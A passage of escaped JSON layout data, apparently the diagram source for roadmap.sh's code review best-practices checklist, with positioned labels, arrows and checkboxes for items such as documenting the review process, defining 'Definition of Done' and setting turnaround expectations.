these\"}},{\"ID\":\"2479\",\"typeID\":\"__group__\",\"zOrder\":\"8\",\"measuredW\":\"329\",\"measuredH\":\"51\",\"w\":\"329\",\"h\":\"51\",\"x\":\"1132\",\"y\":\"270\",\"properties\":{\"controlName\":\"ext_link:roadmap.sh\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Canvas\",\"zOrder\":\"0\",\"w\":\"329\",\"h\":\"51\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"4273622\",\"borderColor\":\"4273622\"}},{\"ID\":\"1\",\"typeID\":\"Label\",\"zOrder\":\"1\",\"measuredW\":\"172\",\"measuredH\":\"28\",\"x\":\"79\",\"y\":\"12\",\"properties\":{\"color\":\"16777215\",\"size\":\"20\",\"text\":\"https://roadmap.sh\"}}]}}},{\"ID\":\"2480\",\"typeID\":\"Canvas\",\"zOrder\":\"9\",\"w\":\"373\",\"h\":\"169\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"225\",\"y\":\"168\"},{\"ID\":\"2481\",\"typeID\":\"__group__\",\"zOrder\":\"10\",\"measuredW\":\"160\",\"measuredH\":\"27\",\"w\":\"160\",\"h\":\"27\",\"x\":\"255\",\"y\":\"242\",\"properties\":{\"controlName\":\"ext_link:roadmap.sh/roadmaps\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"127\",\"measuredH\":\"26\",\"x\":\"33\",\"y\":\"0\",\"properties\":{\"size\":\"18\",\"text\":\"Visit Roadmaps\"}},{\"ID\":\"1\",\"typeID\":\"__group__\",\"zOrder\":\"1\",\"measuredW\":\"24\",\"measuredH\":\"24\",\"w\":\"24\",\"h\":\"24\",\"x\":\"0\",\"y\":\"3\",\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Icon\",\"zOrder\":\"0\",\"measuredW\":\"24\",\"measuredH\":\"24\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"16777215\",\"icon\":{\"ID\":\"circle\",\"size\":\"small\"}}},{\"ID\":\"1\",\"typeID\":\"Icon\",\"zOrder\":\"1\",\"measuredW\":\"24\",\"measuredH\":\"24\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"10066329\",\"icon\":{\"ID\":\"check-circle\",\"size\":\"small\"}}}]}}}]}}},{\"ID\":\"2482\",\"typeID\":\"__group__\",\"zOrder\":\"11\",\"measuredW\":\"203\",\"measuredH\":\"27\",\"w\":\"203\",\"h\":\"27\",\"x\":\"255\",\"y\":\"278\",\"properties\":{\"controlName\":\"ext_link:roadmap.sh/best-practices\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"170\",\"measuredH\":\"26\",\"x\":\"33\",\"y\":\"0\",\"properties\":{\"size\":\"18\",\"text\":\"Other Best Practices\"}},{\"ID\":\"1\",\"typeID\":\"__group__\",\"zOrder\":\"1\",\"measuredW\":\"24\",\"measuredH\":\"24\",\"w\":\"24\",\"h\":\"24\",\"x\":\"0\",\"y\":\"3\",\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Icon\",\"zOrder\":\"0\",\"measuredW\":\"24\",\"measuredH\":\"24\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"16777215\",\"icon\":{\"ID\":\"circle\",\"size\":\"small\"}}},{\"ID\":\"1\",\"typeID\":\"Icon\",\"zOrder\":\"1\",\"measuredW\":\"24\",\"measuredH\":\"24\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"10066329\",\"icon\":{\"ID\":\"check-circle\",\"size\":\"small\"}}}]}}}]}}},{\"ID\":\"2483\",\"typeID\":\"Label\",\"zOrder\":\"12\",\"measuredW\":\"150\",\"measuredH\":\"32\",\"x\":\"255\",\"y\":\"192\",\"properties\":{\"size\":\"24\",\"text\":\"More Content\"}},{\"ID\":\"2484\",\"typeID\":\"Arrow\",\"zOrder\":\"13\",\"w\":\"1\",\"h\":\"76\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"859\",\"y\":\"135\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"p0\":{\"x\":0,\"y\":0},\"p1\":{\"x\":0.49999999999999994,\"y\":0},\"p2\":{\"x\":0,\"y\":76.17275043077757},\"stroke\":\"dotted\",\"color\":\"10027263\"}},{\"ID\":\"2563\",\"typeID\":\"Label\",\"zOrder\":\"46\",\"measuredW\":\"190\",\"measuredH\":\"28\",\"x\":\"459\",\"y\":\"398\",\"properties\":{\"size\":\"20\",\"text\":\"Team Wide Practices\"}},{\"ID\":\"2564\",\"typeID\":\"Arrow\",\"zOrder\":\"14\",\"w\":\"1\",\"h\":\"123\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"859\",\"y\":\"288\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":0,\"y\":-0.48484848484849863},\"p1\":{\"x\":0.5,\"y\":0},\"p2\":{\"x\":0,\"y\":122.37977858123031}}},{\"ID\":\"2655\",\"typeID\":\"Arrow\",\"zOrder\":\"47\",\"w\":\"1\",\"h\":\"793\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"237\",\"y\":\"413\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":0,\"y\":-0.48484848484849863},\"p1\":{\"x\":0.5,\"y\":0},\"p2\":{\"x\":0,\"y\":792.1520096524373}}},{\"ID\":\"2656\",\"typeID\":\"Arrow\",\"zOrder\":\"48\",\"w\":\"1224\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"239\",\"y\":\"1206\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":0,\"y\":0},\"p1\":{\"x\":0.4998545777165489,\"y\":0.00028245338618605997},\"p2\":{\"x\":1223,\"y\":0}}},{\"ID\":\"2657\",\"typeID\":\"Canvas\",\"zOrder\":\"49\",\"w\":\"355\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"389\",\"y\":\"1182\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"2658\",\"typeID\":\"Label\",\"zOrder\":\"50\",\"measuredW\":\"266\",\"measuredH\":\"28\",\"x\":\"434\",\"y\":\"1193\",\"properties\":{\"size\":\"20\",\"text\":\"During Development (Author)\"}},{\"ID\":\"2677\",\"typeID\":\"Arrow\",\"zOrder\":\"69\",\"w\":\"1\",\"h\":\"886\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"1462\",\"y\":\"1207\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":0,\"y\":-0.48484848484849863},\"p1\":{\"x\":0.5,\"y\":0},\"p2\":{\"x\":0,\"y\":885.5470493335324}}},{\"ID\":\"2678\",\"typeID\":\"Arrow\",\"zOrder\":\"70\",\"w\":\"1236\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"225\",\"y\":\"1684\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":0,\"y\":0},\"p1\":{\"x\":0.4999101217590421,\"y\":0.0002824717439428831},\"p2\":{\"x\":1235,\"y\":0}}},{\"ID\":\"2679\",\"typeID\":\"Canvas\",\"zOrder\":\"71\",\"w\":\"355\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"376\",\"y\":\"1660\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"2680\",\"typeID\":\"Label\",\"zOrder\":\"72\",\"measuredW\":\"283\",\"measuredH\":\"28\",\"x\":\"412\",\"y\":\"1671\",\"properties\":{\"size\":\"20\",\"text\":\"After the Development (Author)\"}},{\"ID\":\"2695\",\"typeID\":\"Arrow\",\"zOrder\":\"87\",\"w\":\"1236\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"225\",\"y\":\"2092\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":0,\"y\":0},\"p1\":{\"x\":0.4999101217590421,\"y\":0.0002824717439428831},\"p2\":{\"x\":1235,\"y\":0}}},{\"ID\":\"2696\",\"typeID\":\"Canvas\",\"zOrder\":\"88\",\"w\":\"355\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"372\",\"y\":\"2067\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"2697\",\"typeID\":\"Label\",\"zOrder\":\"89\",\"measuredW\":\"264\",\"measuredH\":\"28\",\"x\":\"408\",\"y\":\"2078\",\"properties\":{\"size\":\"20\",\"text\":\"Before Reviewing (Reviewer)\"}},{\"ID\":\"2714\",\"typeID\":\"Arrow\",\"zOrder\":\"106\",\"w\":\"1\",\"h\":\"1123\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"225\",\"y\":\"2094\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":0,\"y\":-0.48484848484849863},\"p1\":{\"x\":0.5,\"y\":0},\"p2\":{\"x\":0,\"y\":1122.2949887323225}}},{\"ID\":\"2719\",\"typeID\":\"Arrow\",\"zOrder\":\"107\",\"w\":\"1236\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"225\",\"y\":\"2569\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":0,\"y\":0},\"p1\":{\"x\":0.4999101217590421,\"y\":0.0002824717439428831},\"p2\":{\"x\":1235,\"y\":0}}},{\"ID\":\"2720\",\"typeID\":\"Canvas\",\"zOrder\":\"108\",\"w\":\"355\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"372\",\"y\":\"2544\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"2721\",\"typeID\":\"Label\",\"zOrder\":\"109\",\"measuredW\":\"291\",\"measuredH\":\"28\",\"x\":\"404\",\"y\":\"2555\",\"properties\":{\"size\":\"20\",\"text\":\"During Code Review (Reviewer)\"}},{\"ID\":\"2753\",\"typeID\":\"Arrow\",\"zOrder\":\"138\",\"w\":\"1236\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"225\",\"y\":\"3215\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":0,\"y\":0},\"p1\":{\"x\":0.4999101217590421,\"y\":0.0002824717439428831},\"p2\":{\"x\":1235,\"y\":0}}},{\"ID\":\"2754\",\"typeID\":\"Canvas\",\"zOrder\":\"139\",\"w\":\"355\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"348\",\"y\":\"3189\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"2755\",\"typeID\":\"Label\",\"zOrder\":\"140\",\"measuredW\":\"283\",\"measuredH\":\"28\",\"x\":\"384\",\"y\":\"3200\",\"properties\":{\"size\":\"20\",\"text\":\"After the Code Review (Author)\"}},{\"ID\":\"2768\",\"typeID\":\"Arrow\",\"zOrder\":\"153\",\"w\":\"1\",\"h\":\"735\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"1462\",\"y\":\"3216\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":0,\"y\":-0.48484848484849863},\"p1\":{\"x\":0.5,\"y\":0},\"p2\":{\"x\":0,\"y\":734.4572997643622}}},{\"ID\":\"2769\",\"typeID\":\"Arrow\",\"zOrder\":\"154\",\"w\":\"1236\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"227\",\"y\":\"3583\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":0,\"y\":0},\"p1\":{\"x\":0.4999101217590421,\"y\":0.0002824717439428831},\"p2\":{\"x\":1235,\"y\":0}}},{\"ID\":\"2770\",\"typeID\":\"Canvas\",\"zOrder\":\"155\",\"w\":\"372\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"344\",\"y\":\"3559\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"2771\",\"typeID\":\"Label\",\"zOrder\":\"156\",\"measuredW\":\"308\",\"measuredH\":\"28\",\"x\":\"376\",\"y\":\"3570\",\"properties\":{\"size\":\"20\",\"text\":\"After the Code Review (Reviewer)\"}},{\"ID\":\"2784\",\"typeID\":\"Arrow\",\"zOrder\":\"169\",\"w\":\"1236\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"227\",\"y\":\"3952\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":0,\"y\":0},\"p1\":{\"x\":0.4999101217590421,\"y\":0.0002824717439428831},\"p2\":{\"x\":1235,\"y\":0}}},{\"ID\":\"2785\",\"typeID\":\"Canvas\",\"zOrder\":\"170\",\"w\":\"372\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"344\",\"y\":\"3928\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"2786\",\"typeID\":\"Label\",\"zOrder\":\"171\",\"measuredW\":\"311\",\"measuredH\":\"28\",\"x\":\"376\",\"y\":\"3939\",\"properties\":{\"size\":\"20\",\"text\":\"After Approval (Author / Reviewer)\"}},{\"ID\":\"2795\",\"typeID\":\"Arrow\",\"zOrder\":\"180\",\"w\":\"1\",\"h\":\"282\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"226\",\"y\":\"3952\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":0,\"y\":-0.48484848484849863},\"p1\":{\"x\":0.5,\"y\":0},\"p2\":{\"x\":0,\"y\":281.83656863446413}}},{\"ID\":\"2796\",\"typeID\":\"Arrow\",\"zOrder\":\"181\",\"w\":\"633\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"226\",\"y\":\"4233\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":0,\"y\":0},\"p1\":{\"x\":0.4999101217590421,\"y\":0.0002824717439428831},\"p2\":{\"x\":633.1902987999596,\"y\":0}}},{\"ID\":\"2797\",\"typeID\":\"Arrow\",\"zOrder\":\"182\",\"w\":\"1\",\"h\":\"92\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"859\",\"y\":\"4234\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":0,\"y\":-0.48484848484849863},\"p1\":{\"x\":0.5,\"y\":0},\"p2\":{\"x\":0,\"y\":91.64625415628961}}},{\"ID\":\"2798\",\"typeID\":\"Label\",\"zOrder\":\"183\",\"measuredW\":\"211\",\"measuredH\":\"40\",\"x\":\"754\",\"y\":\"4348\",\"properties\":{\"text\":\"Keep Shipping\",\"size\":\"32\"}},{\"ID\":\"2800\",\"typeID\":\"Arrow\",\"zOrder\":\"184\",\"w\":\"75\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"201\",\"y\":\"372\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"stroke\":\"dotted\",\"color\":\"16777215\",\"p0\":{\"x\":0,\"y\":0},\"p1\":{\"x\":0.4999999999999999,\"y\":0},\"p2\":{\"x\":75.31007493951245,\"y\":0}}},{\"ID\":\"2801\",\"typeID\":\"Label\",\"zOrder\":\"185\",\"measuredW\":\"171\",\"measuredH\":\"48\",\"x\":\"1264\",\"y\":\"442\",\"properties\":{\"size\":\"40\",\"text\":\"Everyone\",\"color\":\"13421772\"}},{\"ID\":\"2802\",\"typeID\":\"Label\",\"zOrder\":\"186\",\"measuredW\":\"118\",\"measuredH\":\"48\",\"x\":\"1317\",\"y\":\"1242\",\"properties\":{\"size\":\"40\",\"color\":\"13421772\",\"text\":\"Author\"}},{\"ID\":\"2805\",\"typeID\":\"Label\",\"zOrder\":\"187\",\"measuredW\":\"118\",\"measuredH\":\"48\",\"x\":\"1317\",\"y\":\"1710\",\"properties\":{\"size\":\"40\",\"color\":\"13421772\",\"text\":\"Author\"}},{\"ID\":\"2806\",\"typeID\":\"Label\",\"zOrder\":\"188\",\"measuredW\":\"169\",\"measuredH\":\"48\",\"x\":\"1266\",\"y\":\"2137\",\"properties\":{\"size\":\"40\",\"color\":\"13421772\",\"text\":\"Reviewer\"}},{\"ID\":\"2807\",\"typeID\":\"Label\",\"zOrder\":\"189\",\"measuredW\":\"169\",\"measuredH\":\"48\",\"x\":\"1266\",\"y\":\"2604\",\"properties\":{\"size\":\"40\",\"color\":\"13421772\",\"text\":\"Reviewer\"}},{\"ID\":\"2808\",\"typeID\":\"Label\",\"zOrder\":\"190\",\"measuredW\":\"118\",\"measuredH\":\"48\",\"x\":\"1317\",\"y\":\"3249\",\"properties\":{\"size\":\"40\",\"color\":\"13421772\",\"text\":\"Author\"}},{\"ID\":\"2810\",\"typeID\":\"Label\",\"zOrder\":\"191\",\"measuredW\":\"169\",\"measuredH\":\"48\",\"x\":\"1266\",\"y\":\"3609\",\"properties\":{\"size\":\"40\",\"color\":\"13421772\",\"text\":\"Reviewer\"}},{\"ID\":\"2811\",\"typeID\":\"Label\",\"zOrder\":\"192\",\"measuredW\":\"327\",\"measuredH\":\"48\",\"x\":\"1108\",\"y\":\"3988\",\"properties\":{\"color\":\"13421772\",\"size\":\"40\",\"text\":\"Author / Reviewer\"}},{\"ID\":\"2812\",\"typeID\":\"__group__\",\"zOrder\":\"3\",\"measuredW\":\"474\",\"measuredH\":\"28\",\"w\":\"474\",\"h\":\"28\",\"x\":\"334\",\"y\":\"483\",\"properties\":{\"controlName\":\"document-process\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"474\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"text\":\"Document and standardize the code review process.\",\"size\":\"20\"}}]}}},{\"ID\":\"2813\",\"typeID\":\"__group__\",\"zOrder\":\"2\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"288\",\"y\":\"482\",\"properties\":{\"controlName\":\"check:document-process\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2814\",\"typeID\":\"__group__\",\"zOrder\":\"16\",\"measuredW\":\"552\",\"measuredH\":\"28\",\"w\":\"552\",\"h\":\"28\",\"x\":\"334\",\"y\":\"525\",\"properties\":{\"controlName\":\"code-review-purpose\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"552\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"text\":\"Ensure that the purpose of code reviews is clear to everyone.\",\"size\":\"20\"}}]}}},{\"ID\":\"2815\",\"typeID\":\"__group__\",\"zOrder\":\"15\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"288\",\"y\":\"524\",\"properties\":{\"controlName\":\"check:code-review-purpose\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2816\",\"typeID\":\"__group__\",\"zOrder\":\"38\",\"measuredW\":\"630\",\"measuredH\":\"28\",\"w\":\"630\",\"h\":\"28\",\"x\":\"334\",\"y\":\"565\",\"properties\":{\"controlName\":\"definition-of-done\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"630\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"text\":\"Ensure that “Definition of Done” is documented and clear to everyone\",\"size\":\"20\"}}]}}},{\"ID\":\"2817\",\"typeID\":\"__group__\",\"zOrder\":\"37\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"288\",\"y\":\"564\",\"properties\":{\"controlName\":\"check:definition-of-done\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2819\",\"typeID\":\"__group__\",\"zOrder\":\"34\",\"measuredW\":\"516\",\"measuredH\":\"28\",\"w\":\"516\",\"h\":\"28\",\"x\":\"334\",\"y\":\"610\",\"properties\":{\"controlName\":\"encourage-participation\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"516\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"text\":\"Encourage team members to participate in code reviews.\",\"size\":\"20\"}}]}}},{\"ID\":\"2820\",\"typeID\":\"__group__\",\"zOrder\":\"33\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"288\",\"y\":\"609\",\"properties\":{\"controlName\":\"check:encourage-participation\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2821\",\"typeID\":\"__group__\",\"zOrder\":\"18\",\"measuredW\":\"496\",\"measuredH\":\"28\",\"w\":\"496\",\"h\":\"28\",\"x\":\"334\",\"y\":\"652\",\"properties\":{\"controlName\":\"conflict-resolution\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"496\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"text\":\"Define a process for conflict resolution in code reviews.\",\"size\":\"20\"}}]}}},{\"ID\":\"2822\",\"typeID\":\"__group__\",\"zOrder\":\"17\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"288\",\"y\":\"651\",\"properties\":{\"controlName\":\"check:conflict-resolution\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2823\",\"typeID\":\"__group__\",\"zOrder\":\"20\",\"measuredW\":\"448\",\"measuredH\":\"28\",\"w\":\"448\",\"h\":\"28\",\"x\":\"334\",\"y\":\"692\",\"properties\":{\"controlName\":\"style-guide-preferences\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"448\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"text\":\"Have a definitive style guide for style preferences.\",\"size\":\"20\"}}]}}},{\"ID\":\"2824\",\"typeID\":\"__group__\",\"zOrder\":\"19\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"288\",\"y\":\"691\",\"properties\":{\"controlName\":\"check:style-guide-preferences\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2825\",\"typeID\":\"__group__\",\"zOrder\":\"22\",\"measuredW\":\"595\",\"measuredH\":\"28\",\"w\":\"595\",\"h\":\"28\",\"x\":\"335\",\"y\":\"734\",\"properties\":{\"controlName\":\"use-automation\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"595\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"text\":\"Use automation to speed up the code reviews (linting, sniffing etc)\",\"size\":\"20\"}}]}}},{\"ID\":\"2826\",\"typeID\":\"__group__\",\"zOrder\":\"21\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"288\",\"y\":\"733\",\"properties\":{\"controlName\":\"check:use-automation\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2827\",\"typeID\":\"__group__\",\"zOrder\":\"24\",\"measuredW\":\"509\",\"measuredH\":\"28\",\"w\":\"509\",\"h\":\"28\",\"x\":\"335\",\"y\":\"775\",\"properties\":{\"controlName\":\"set-clear-expectations\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"509\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"text\":\"Set clear expectations for code review turnaround times.\",\"size\":\"20\"}}]}}},{\"ID\":\"2828\",\"typeID\":\"__group__\",\"zOrder\":\"23\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"288\",\"y\":\"774\",\"properties\":{\"controlName\":\"check:set-clear-expectations\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2829\",\"typeID\":\"__group__\",\"zOrder\":\"26\",\"measuredW\":\"629\",\"measuredH\":\"28\",\"w\":\"629\",\"h\":\"28\",\"x\":\"336\",\"y\":\"816\",\"properties\":{\"controlName\":\"adequate-review-time\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"629\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"text\":\"Provide adequate time for code reviews and ensure that it is a priority.\",\"size\":\"20\"}}]}}},{\"ID\":\"2830\",\"typeID\":\"__group__\",\"zOrder\":\"25\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"288\",\"y\":\"815\",\"properties\":{\"controlName\":\"check:adequate-review-time\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2831\",\"typeID\":\"__group__\",\"zOrder\":\"28\",\"measuredW\":\"648\",\"measuredH\":\"28\",\"w\":\"648\",\"h\":\"28\",\"x\":\"336\",\"y\":\"857\",\"properties\":{\"controlName\":\"knowledge-sharing\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"648\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"text\":\"Use code reviews as an opportunity for knowledge sharing and 